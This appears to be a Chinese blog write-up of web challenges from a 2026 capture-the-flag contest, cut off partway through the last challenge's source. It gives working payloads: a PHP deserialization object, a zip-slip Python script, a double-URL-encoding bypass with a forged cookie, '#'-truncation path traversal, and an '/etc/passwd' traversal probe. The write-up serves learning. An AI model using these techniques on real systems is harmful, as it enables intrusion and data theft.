[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"consumer-news-detail-1017":3,"consumer-news-interaction-1017":39,"consumer-news-related-1017":42},{"detail":4,"item":35},{"card":5,"schemaVersion":22,"fields":23,"content":29},{"id":6,"kind":7,"targetType":8,"targetId":9,"subtype":7,"typeLabel":10,"title":11,"subtitle":12,"summary":13,"coverUrl":14,"badgeText":15,"href":16,"sourceName":12,"meta":17,"metrics":19,"tags":20,"resolved":21},"NEWS_ARTICLE:1017","news","NEWS_ARTICLE",1017,"资讯","polar秋季赛2026部分题解","博客园","web 贪吃蛇 有点难玩，直接看源代码 重点代码片段 function submitScore(finalScoreValue) { fetch(&#39;api.php&#39;, { method: &#39;POST&#39;, headers: {&#39;Content-Type&#39;","https:\u002F\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905145627879.png","","\u002Fnews\u002F1017",[18],"2026",{},[],true,"consumer-content-detail-v1",{"sourceName":12,"authorName":24,"summary":13,"description":13,"publishTime":25,"updateTime":26,"sourceUrl":27,"language":28},"E73RN4L","2026-09-06T21:56","2026-09-11T15:22:03","https:\u002F\u002Fwww.cnblogs.com\u002FE73RN4L\u002Fp\u002F22864969","中文",{"format":30,"policy":31,"normalized":21,"html":32,"text":33,"wordCount":34,"hasBody":21},"HTML","NEWS_CONTENT_V1","web\n\u003Ch2>贪吃蛇\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905145627879.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  有点难玩，直接看源代码\u003Cbr>\n  重点代码片段\u003C\u002Fp>\n\u003Cpre>\u003Ccode>function submitScore(finalScoreValue) {\n            fetch('api.php', {\n                method: 'POST',\n                headers: {'Content-Type': 'application\u002Fjson'},\n                body: JSON.stringify({score: finalScoreValue})\n            })\n            .then(function(resp) { return resp.json(); })\n            .then(function(data) {\n                rewardPanel.style.display = 'block';\n                if (data.success) {\n                    rewardPanel.innerHTML = '&amp;#127942; 隐藏奖励解锁！&lt;br&gt;' + data.message;\n                } else {\n                    rewardPanel.innerHTML = data.message;\n                }\n            })\n            .catch(function() {\n                rewardPanel.style.display = 'block';\n                rewardPanel.innerHTML = '成绩提交失败，请稍后再试';\n            });\n        }\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>我们向api.php发送POST请求\u003Ccode>{\"score\":\"999999999999999\"}\u003C\u002Fcode>即可拿到flag\u003C\u002Fp>\n\u003Ch2>php反序列\u003C\u002Fh2>\n\u003Cpre>\u003Ccode>&lt;?php\nsession_start();\nerror_reporting(0);\n\nif (empty($_SESSION['logged_in'])) {\n    header('Location: index.php');\n    exit;\n}\n\ninclude __DIR__ . '\u002Fflag.php';\n\nclass AuditTicket\n{\n    public $role = 'guest';\n\n    public function __destruct()\n    {\n        global $flag;\n\n        if ($this-&gt;role === 'admin') {\n            echo '&lt;h3 style=\"color:green\"&gt;反序列化成功！&lt;\u002Fh3&gt;';\n            echo '&lt;p&gt;' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '&lt;\u002Fp&gt;';\n        }\n    }\n}\n\n$message = '';\n$object = null;\n\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n    $payload = $_POST['payload'] ?? '';\n\n    if ($payload === '') {\n        $message = 'payload 不能为空';\n    } else {\n        $object = unserialize($payload);\n\n        if ($object instanceof AuditTicket) {\n            $message = '对象恢复成功';\n        } else {\n            $message = '反序列化失败';\n        }\n    }\n}\n\nhighlight_file(__FILE__);\n?&gt;\n\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>脚本\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;?php\nclass AuditTicket\n{\n    public $role = 'admin';\n}\n\n$a=new AuditTicket();\n$b=serialize($a);\necho $b;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch2>消消乐\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905171541155.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  游戏不算难可以直接玩出来\u003Cbr>\n  查看源代码\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905171612982.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003C\u002Fp>\n\u003Cp>数据来源\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;div id=\"app-meta\" data-v=\"0731626d648f81d06d6ce180ba733b9b0f\" hidden&gt;&lt;\u002Fdiv&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>下面会用到他\u003C\u002Fp>\n\u003Cpre>\u003Ccode>var hex = cfg.dataset.v.substr(2);   \u002F\u002F 丢掉 \"07\"\n\u002F\u002F hex = \"31626d648f81d06d6ce180ba733b9b0f\"  (32 位 = 16 字节)\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>这里可以直接在控制台得到输出\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905175503264.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003C\u002Fp>\n\u003Cp>逐字节 XOR 解密(密钥 = 0x37)\u003C\u002Fp>\n\u003Cpre>\u003Ccode>var key = 0x37;                         \u002F\u002F 固定密钥(十进制 55)\nvar bytes = [];\nfor (var i = 0; i &lt; hex.length; i += 2) {\n    bytes.push(parseInt(hex.substr(i, 2), 16) ^ key);\n}\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cpre>\u003Ccode>31^37=06  62^37=55  6d^37=5a  64^37=53\n8f^37=b8  81^37=b6  d0^37=e7  6d^37=5a\n6c^37=5b  e1^37=d6  80^37=b7  ba^37=8d\n73^37=44  3b^37=0c  9b^37=ac  0f^37=38\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>解密出的 16 个字节:\u003Ccode>06 55 5a 53 b8 b6 e7 5a 5b d6 b7 8d 44 0c ac 38\u003C\u002Fcode>\u003Cbr>\n  再套flag壳\u003C\u002Fp>\n\u003Cpre>\u003Ccode>var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125);\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>\u003Ccode>fromCharCode\u003C\u002Fcode> 逐个转字符:\u003C\u002Fp>\n\u003Ctable>\n \u003Cthead>\n  \u003Ctr>\n   \u003Cth>码\u003C\u002Fth>\n   \u003Cth>字符\u003C\u002Fth>\n  \u003C\u002Ftr>\n \u003C\u002Fthead>\n \u003Ctbody>\n  \u003Ctr>\n   \u003Ctd>102\u003C\u002Ftd>\n   \u003Ctd>f\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>108\u003C\u002Ftd>\n   \u003Ctd>l\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>97\u003C\u002Ftd>\n   \u003Ctd>a\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>103\u003C\u002Ftd>\n   \u003Ctd>g\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>123\u003C\u002Ftd>\n   \u003Ctd>{\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>125\u003C\u002Ftd>\n   \u003Ctd>}\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>即 \u003Ccode>\"flag{\" + hash + \"}\"\u003C\u002Fcode>。\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n  \u003C\u002Ftr>\n \u003C\u002Ftbody>\n\u003C\u002Ftable>\n\u003Ch2>guess\u003C\u002Fh2>\n\u003Cp>\u002Fmemo查看备忘文件\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;h1&gt;备忘卡片&lt;\u002Fh1&gt;\n&lt;pre&gt;comet archive initialized&lt;\u002Fpre&gt;\n&lt;p class=\"small\"&gt;核心变量已进入渲染上下文，但默认模板不会展示。&lt;\u002Fp&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>\u002Fstatus\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905203528700.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003C\u002Fp>\n\u003Cp>\u002Ftheme\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905204721150.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  文件上传\u003Cbr>\n  尝试上传一个正常的符合要求的.zip，回显得到id\u003Cbr>\n  但是\u002Fstatus里提示的目录都是404...\u003Cbr>\n  我们大概能猜到\u002Fmemo是\u002Fapp\u002Ftemplates\u002Fmemo.html\u003Cbr>\n  上传一个简单的memo.html测试\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;pre&gt;{{ 7*7 }}&lt;\u002Fpre&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>可是\u002Fmemo没反应\u003Cbr>\n  据说zip解压有一个古老的坑\u003Cbr>\n  解压过程中文件名可能会被直接拼接到路径中，造成路径穿越漏洞\u003Cbr>\n  但是windows的文件名不允许有\u002F\u003Cbr>\n  借助pyhton脚本\u003C\u002Fp>\n\u003Cpre>\u003Ccode>import zipfile\n\nwith zipfile.ZipFile(\"theme.zip\", \"w\") as z:\n    z.writestr(\"manifest.txt\", \"name=x\\n\")\n    z.writestr(\"..\u002F..\u002F..\u002Ftemplates\u002Fmemo.html\", \"&lt;pre&gt;{{flag}}&lt;\u002Fpre&gt;\")\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>上传后访问\u002Fmemo拿到flag\u003C\u002Fp>\n\u003Ch2>打赏\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906100304765.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  打赏后拿到假flag\u003Cbr>\n  查看源代码\u003C\u002Fp>\n\u003Cpre>\u003Ccode>\u002F\u002F 自定义你的flag\n        const flag = \"flag{Fake_Pay_No_Money_2026_HTML}\";\n        function showFlag() {\n            let emailVal = document.getElementById(\"mail\").value;\n            \u002F\u002F不校验真实邮箱、无支付流程\n            if (emailVal.length &gt; 0) {\n                alert(\"模拟支付成功，无需真实转账！\\n你的flag：\" + flag);\n            } else {\n                alert(\"邮箱框随便输入任意字符即可模拟支付拿flag\");\n                \u002F\u002FQD2AHXMGSJMMG2NM\n            }\n        }\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>下面有一个加密的注释，尝试解密\u003Cbr>\n  这里真搓不出来，问了ds是先首位反转再base32解码\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906101630489.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  访问ctf123.php\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\ninclude __DIR__ . '\u002Fflag.php';\n\necho \"&lt;h2&gt;Welcome&lt;\u002Fh2&gt;\";\n\nfunction stop($msg) {\n    die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . \"&lt;br\u002F&gt;\\n\");\n} \n\n$role = $_COOKIE['role'] ?? 'guest';\n\nif ($role !== 'auditor') {\n    stop('第一关：你还不是 auditor');\n}\n\necho \"第一关通过&lt;br\u002F&gt;\\n\";\n\n$route = $_GET['route'] ?? '';\n\nif (preg_match('\u002Fadmin\u002Fi', $route)) {\n    stop('第二关：检测到敏感路由 admin');\n}\n\n$route = urldecode($route);\n\nif ($route !== 'admin\u002Fpanel') {\n    stop('第二关：没有进入管理路由');\n}\n\necho \"第二关通过&lt;br\u002F&gt;\\n\";\necho \"恭喜通关！&lt;br\u002F&gt;\\n\";\necho htmlspecialchars($flag, ENT_QUOTES, 'UTF-8');\n?&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>第一关\u003C\u002Fp>\n\u003Cpre>\u003Ccode>Cookie: role=auditor\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>第二关把admin双重url编码\u003C\u002Fp>\n\u003Cpre>\u003Ccode>\u002Fctf123.php?route=%2561%2564%256d%2569%256e%2Fpanel\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>拿到flag\u003C\u002Fp>\n\u003Ch2>安全笔记\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905212847736.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  登陆后多了一行字\u003C\u002Fp>\n\u003Cpre>\u003Ccode>Maintenance note\nDebug output was limited before release. Remember to remove old diagnostics.\n\n维护说明：发布前限制了调试输出。请记得删除旧的诊断信息\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>点击检查环境\u003C\u002Fp>\n\u003Cpre>\u003Ccode>{\n  \"shiro_version\": \"1.7.1\",\n  \"jdk_version\": \"1.8.0_492\",\n  \"profile\": \"basic\",\n  \"trace\": \"env.basic\",\n  \"notice\": \"旧版环境导出器仍然支持维护动作\",\n  \"hint\": \"如果你使用的是旧版调试控制台，可以试试 action=help\"\n}\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch2>MiniSite\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906102524028.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  右上角三个功能分别访问\u003Cbr>\n  \u002F?f=home.php\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906102623508.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  \u002F?f=about.php\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906102649366.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  \u002F?f=source.php\u003Cbr>\n  提示：index.php 的完整源码 —— 仔细看看 FileGuard 是怎么校验的。\u003Cbr>\u003Cstrong>Hint:\u003C\u002Fstrong> 校验通过后，\u003Ccode>include\u003C\u002Fcode> 用的是哪个变量？它和校验时看到的一样吗？\u003Cbr>\n  Mini Site · 有些文件不在白名单里，也不在 web 根目录下\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;?php\n\u002F\u002F TODO: 上线前删掉这行 —— \u002Fsssseeeeccccrrrrreeeetttt 别忘了清理\n\nclass FileGuard\n{\n    public static function checkFile(&amp;$page)\n    {\n        $whitelist = [\"home.php\", \"about.php\", \"source.php\"];\n\n        if (!isset($page) || !is_string($page)) {\n            echo \"you can't see it\";\n            return false;\n        }\n        if (in_array($page, $whitelist, true)) {\n            return true;\n        }\n        $_page = substr(\n            $page,\n            0,\n            strpos($page . '#', '#')\n        );\n        if (in_array($_page, $whitelist, true)) {\n            return true;\n        }\n\n        $_page = rawurldecode($page);\n        $_page = substr(\n            $_page,\n            0,\n            strpos($_page . '#', '#')\n        );\n        if (in_array($_page, $whitelist, true)) {\n            return true;\n        }\n\n        echo \"you can't see it\";\n        return false;\n    }\n}\n\nif (!empty($_REQUEST['f'])\n    &amp;&amp; is_string($_REQUEST['f'])\n    &amp;&amp; FileGuard::checkFile($_REQUEST['f'])\n) {\n    include $_REQUEST['f'];\n    exit;\n}\n?&gt;\n&lt;!doctype html&gt;\n&lt;html lang=\"zh-CN\"&gt;\n&lt;head&gt;\n&lt;meta charset=\"utf-8\"&gt;\n&lt;meta name=\"viewport\" content=\"width=device-width,initial-scale=1\"&gt;\n&lt;title&gt;MiniSite &lt;\u002Ftitle&gt;\n&lt;style&gt;\n  *{margin:0;padding:0;box-sizing:border-box}\n  :root{\n    --bg:#0a0e1a;--card:rgba(19,24,38,.72);--accent:#00ff9d;--accent2:#00d4ff;\n    --text:#c8d3e6;--muted:#6b7a99;--border:rgba(0,255,157,.18);\n  }\n  body{\n    font-family:'Segoe UI',system-ui,-apple-system,sans-serif;color:var(--text);\n    min-height:100vh;display:flex;flex-direction:column;\n    background:var(--bg);\n    background-image:\n      radial-gradient(ellipse 80% 50% at 50% -10%,rgba(0,212,255,.10),transparent),\n      radial-gradient(ellipse 60% 40% at 90% 110%,rgba(0,255,157,.08),transparent),\n      linear-gradient(rgba(31,41,64,.25) 1px,transparent 1px),\n      linear-gradient(90deg,rgba(31,41,64,.25) 1px,transparent 1px);\n    background-size:100% 100%,100% 100%,42px 42px,42px 42px;\n    background-attachment:fixed;\n  }\n  \u002F* nav *\u002F\n  nav{position:sticky;top:0;z-index:10;backdrop-filter:blur(12px);\n    background:rgba(10,14,26,.7);border-bottom:1px solid var(--border);\n    box-shadow:0 4px 30px rgba(0,0,0,.4)}\n  .nav-inner{max-width:960px;margin:0 auto;padding:14px 24px;display:flex;\n    align-items:center;gap:24px;flex-wrap:wrap}\n  .logo{font-weight:800;font-size:18px;letter-spacing:1px;\n    background:linear-gradient(90deg,var(--accent),var(--accent2));\n    -webkit-background-clip:text;background-clip:text;color:transparent}\n  .logo::before{content:\"&lt;\u002F&gt;\";margin-right:8px;opacity:.7}\n  .nav-links{display:flex;gap:8px;margin-left:auto;flex-wrap:wrap}\n  .nav-links a{color:var(--muted);text-decoration:none;padding:7px 16px;border-radius:8px;\n    font-size:14px;font-weight:600;border:1px solid transparent;transition:.25s}\n  .nav-links a:hover{color:var(--accent);background:rgba(0,255,157,.08);\n    border-color:var(--border);box-shadow:0 0 18px rgba(0,255,157,.15)}\n  \u002F* main *\u002F\n  main{flex:1;max-width:960px;width:100%;margin:0 auto;padding:60px 24px 40px}\n  .hero{text-align:center;margin-bottom:48px;animation:fadeUp .8s ease}\n  @keyframes fadeUp{from{opacity:0;transform:translateY(18px)}to{opacity:1;transform:none}}\n  .tag{display:inline-block;font-size:12px;letter-spacing:3px;text-transform:uppercase;\n    color:var(--accent);border:1px solid var(--border);padding:5px 14px;border-radius:20px;margin-bottom:22px}\n  h1{font-size:46px;font-weight:800;line-height:1.1;margin-bottom:16px;\n    background:linear-gradient(120deg,#fff 30%,var(--accent2));\n    -webkit-background-clip:text;background-clip:text;color:transparent}\n  .sub{font-size:16px;color:var(--muted);max-width:540px;margin:0 auto;line-height:1.7}\n  \u002F* card *\u002F\n  .cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:20px;\n    animation:fadeUp .8s .15s both}\n  .card{background:var(--card);border:1px solid var(--border);border-radius:16px;\n    padding:28px 24px;backdrop-filter:blur(8px);transition:.3s;position:relative;overflow:hidden}\n  .card::before{content:\"\";position:absolute;inset:0;border-radius:16px;padding:1px;\n    background:linear-gradient(135deg,var(--accent),transparent 60%);\n    -webkit-mask:linear-gradient(#000 0 0) content-box,linear-gradient(#000 0 0);\n    -webkit-mask-composite:xor;mask-composite:exclude;opacity:.5}\n  .card:hover{transform:translateY(-4px);box-shadow:0 12px 40px rgba(0,255,157,.12)}\n  .card .ic{font-size:30px;margin-bottom:14px;display:block}\n  .card h3{font-size:17px;margin-bottom:8px}\n  .card p{font-size:14px;color:var(--muted);line-height:1.6}\n  .card a{color:var(--accent);text-decoration:none;font-weight:600}\n  .card a:hover{text-shadow:0 0 12px rgba(0,255,157,.6)}\n  \u002F* terminal *\u002F\n  .terminal{margin-top:44px;background:var(--card);border:1px solid var(--border);\n    border-radius:12px;overflow:hidden;animation:fadeUp .8s .3s both}\n  .term-bar{background:rgba(0,0,0,.3);padding:10px 16px;display:flex;gap:7px;\n    border-bottom:1px solid var(--border);font-size:12px;color:var(--muted)}\n  .term-bar i{width:12px;height:12px;border-radius:50%;display:inline-block}\n  .term-bar i:nth-child(1){background:#ff5f57}.term-bar i:nth-child(2){background:#febc2e}\n  .term-bar i:nth-child(3){background:#28c840}\n  .term-bar span{margin-left:auto}\n  .term-body{padding:20px;font-family:'Consolas','Courier New',monospace;\n    font-size:13.5px;line-height:1.7;color:var(--text)}\n  .term-body .prompt{color:var(--accent)}\n  .term-body .out{color:var(--muted)}\n  .term-body .cursor{display:inline-block;width:8px;height:15px;background:var(--accent);\n    vertical-align:middle;animation:blink 1s steps(1) infinite}\n  @keyframes blink{50%{opacity:0}}\n  footer{text-align:center;padding:28px;font-size:13px;color:var(--muted);\n    border-top:1px solid var(--border)}\n  footer span{color:var(--accent)}\n  @media(max-width:600px){h1{font-size:34px}.nav-inner{gap:14px}}\n&lt;\u002Fstyle&gt;\n&lt;\u002Fhead&gt;\n&lt;body&gt;\n&lt;nav&gt;\n  &lt;div class=\"nav-inner\"&gt;\n    &lt;span class=\"logo\"&gt;Mini Site&lt;\u002Fspan&gt;\n    &lt;div class=\"nav-links\"&gt;\n      &lt;a href=\"?f=home.php\"&gt;Home&lt;\u002Fa&gt;\n      &lt;a href=\"?f=about.php\"&gt;About&lt;\u002Fa&gt;\n      &lt;a href=\"?f=source.php\"&gt;Source&lt;\u002Fa&gt;\n    &lt;\u002Fdiv&gt;\n  &lt;\u002Fdiv&gt;\n&lt;\u002Fnav&gt;\n\n&lt;main&gt;\n  &lt;div class=\"hero\"&gt;\n    &lt;span class=\"tag\"&gt;CTF Web · Medium&lt;\u002Fspan&gt;\n    &lt;h1&gt;Can you find&lt;br&gt;the secret?&lt;\u002Fh1&gt;\n    &lt;p class=\"sub\"&gt;一个用 PHP include 搭建的迷你站点。看起来只有三个页面，但总有些文件不该出现在白名单里……&lt;\u002Fp&gt;\n  &lt;\u002Fdiv&gt;\n\n  &lt;div class=\"cards\"&gt;\n    &lt;div class=\"card\"&gt;\n      &lt;span class=\"ic\"&gt;&amp;#128737;&lt;\u002Fspan&gt;\n      &lt;h3&gt;FileGuard 白名单&lt;\u002Fh3&gt;\n      &lt;p&gt;所有文件请求都要经过三层校验。看起来无懈可击？&lt;br&gt;&lt;a href=\"?f=source.php\"&gt;查看源码 &amp;rarr;&lt;\u002Fa&gt;&lt;\u002Fp&gt;\n    &lt;\u002Fdiv&gt;\n    &lt;div class=\"card\"&gt;\n      &lt;span class=\"ic\"&gt;&amp;#128270;&lt;\u002Fspan&gt;\n      &lt;h3&gt;信息收集&lt;\u002Fh3&gt;\n      &lt;p&gt;页面的 HTML 注释、source.php 的高亮里，藏着进入下一关的线索。&lt;\u002Fp&gt;\n    &lt;\u002Fdiv&gt;\n    &lt;div class=\"card\"&gt;\n      &lt;span class=\"ic\"&gt;&amp;#128682;&lt;\u002Fspan&gt;\n      &lt;h3&gt;绕过校验&lt;\u002Fh3&gt;\n      &lt;p&gt;校验和执行，用的是同一个值吗？&lt;br&gt;仔细看看 &lt;code&gt;include&lt;\u002Fcode&gt; 的参数。&lt;\u002Fp&gt;\n    &lt;\u002Fdiv&gt;\n  &lt;\u002Fdiv&gt;\n\n  &lt;div class=\"terminal\"&gt;\n    &lt;div class=\"term-bar\"&gt;&lt;i&gt;&lt;\u002Fi&gt;&lt;i&gt;&lt;\u002Fi&gt;&lt;i&gt;&lt;\u002Fi&gt;&lt;span&gt;guest@minisite&lt;\u002Fspan&gt;&lt;\u002Fdiv&gt;\n    &lt;div class=\"term-body\"&gt;\n&lt;span class=\"prompt\"&gt;guest@minisite&lt;\u002Fspan&gt;:&lt;span class=\"out\"&gt;~$&lt;\u002Fspan&gt; curl \"http:\u002F\u002Flocalhost\u002F?f=home.php\"\n&lt;span class=\"out\"&gt;&amp;lt;h1&amp;gt;Home&amp;lt;\u002Fh1&amp;gt; ... welcome to mini site.&lt;\u002Fspan&gt;\n&lt;span class=\"prompt\"&gt;guest@minisite&lt;\u002Fspan&gt;:&lt;span class=\"out\"&gt;~$&lt;\u002Fspan&gt; curl \"http:\u002F\u002Flocalhost\u002F?f=..\u002F..\u002Fetc\u002Fpasswd\"\n&lt;span class=\"out\"&gt;you can't see it&lt;\u002Fspan&gt;\n&lt;span class=\"prompt\"&gt;guest@minisite&lt;\u002Fspan&gt;:&lt;span class=\"out\"&gt;~$&lt;\u002Fspan&gt; &lt;span class=\"cursor\"&gt;&lt;\u002Fspan&gt;\n    &lt;\u002Fdiv&gt;\n  &lt;\u002Fdiv&gt;\n&lt;\u002Fmain&gt;\n\n&lt;footer&gt;\n  Mini Site &amp;middot; PHP File Include Challenge &amp;middot; &lt;span&gt;flag is not where you think&lt;\u002Fspan&gt;\n&lt;\u002Ffooter&gt;\n&lt;\u002Fbody&gt;\n&lt;\u002Fhtml&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>这个\u002Fsssseeeeccccrrrrreeeetttt不知道干嘛的，访问不了，f传参也不行\u003Cbr>\n  继续往下看看吧\u003C\u002Fp>\n\u003Col>\n \u003Cli>直接匹配 whitelist → 返回 true\u003C\u002Fli>\n \u003Cli>带&#xa0;\u003Ccode>#\u003C\u002Fcode>&#xa0;截断后匹配 → 返回 true\u003C\u002Fli>\n \u003Cli>URL 解码后再匹配 → 返回 true\u003C\u002Fli>\n \u003Cli>都没匹配到 → 返回 false\u003Cbr>\n   我们尝试使用#截断配合路径穿越\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cpre>\u003Ccode>\u002F?f=source.php%23\u002F..\u002Fabout.php\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>成功穿越到about.php\u003Cbr>\n  去看看\u002Fsssseeeeccccrrrrreeeetttt\u003Cbr>\n  最终payload\u003C\u002Fp>\n\u003Cpre>\u003Ccode>\u002F?f=source.php%23\u002F..\u002F..\u002F..\u002F..\u002Fsssseeeeccccrrrrreeeetttt\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>flag就在这里\u003C\u002Fp>\n\u003Ch2>cryweb\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906104739678.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  测试了ctfer 0 admin null 找不到规律也没找到解密方法\u003C\u002Fp>\n\u003Ch2>魔法导入器\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906115431933.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  查看源代码\u003Cbr>\n  \u002F?source\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;?php\nclass FileViewer\n{\n    public $path;\n\n    public function __toString()#验证文件路径存在并包含\n    {\n        if ($this-&gt;path &amp;&amp; file_exists($this-&gt;path)) {\n            return file_get_contents($this-&gt;path);\n        }\n        return \"[文件未找到]\";\n    }\n}\n\nclass Welcome\n{\n    public $user;\n\n    public function __destruct()\n    {\n        echo \"&lt;div class='bye-msg'&gt;再见，\" . $this-&gt;user . \"！&lt;\u002Fdiv&gt;\";\n    }\n}\n\nclass Profile\n{\n    public $name;\n    public $bio;\n\n    public function __wakeup()\n    {\n        if (strlen($this-&gt;name) &gt; 30) {\n            $this-&gt;name = substr($this-&gt;name, 0, 30);\n        }\n        if (strlen($this-&gt;bio) &gt; 200) {\n            $this-&gt;bio = substr($this-&gt;bio, 0, 200);\n        }\n    }\n}\n\nfunction validate_serialized($data)\n{\n    $rules = [\n        '\u002Fs:\\d+:\"[^\"]*flag[^\"]*\"\u002F' =&gt; '拦截：检测到 flag 路径 (s:string)',\n        '\u002FO:\\d+:\"(?!Welcome|Profile|FileViewer)[^\"]+\"\u002F' =&gt; '拦截：不允许的类',\n    ];\n    foreach ($rules as $pattern =&gt; $msg) {\n        if (preg_match($pattern, $data)) {\n            return [false, $msg];\n        }\n    }\n    return [true, '验证通过'];\n}\n\n\u002F\u002F Source code view\nif (isset($_GET['source'])) {\n    highlight_file(__FILE__);\n    exit;\n}\n\n\u002F\u002F Logic\n$result = '';\n$error = '';\n$destruct_output = '';\n\nif ($_SERVER['REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST['data'])) {\n    $raw = trim($_POST['data']);\n\n    list($ok, $msg) = validate_serialized($raw);\n    if (!$ok) {\n        $error = $msg;\n    } else {\n        $obj = @unserialize($raw);\n        if ($obj === false &amp;&amp; $raw !== 'b:0;') {\n            $error = '反序列化失败：格式无效';\n        } else {\n            $result = 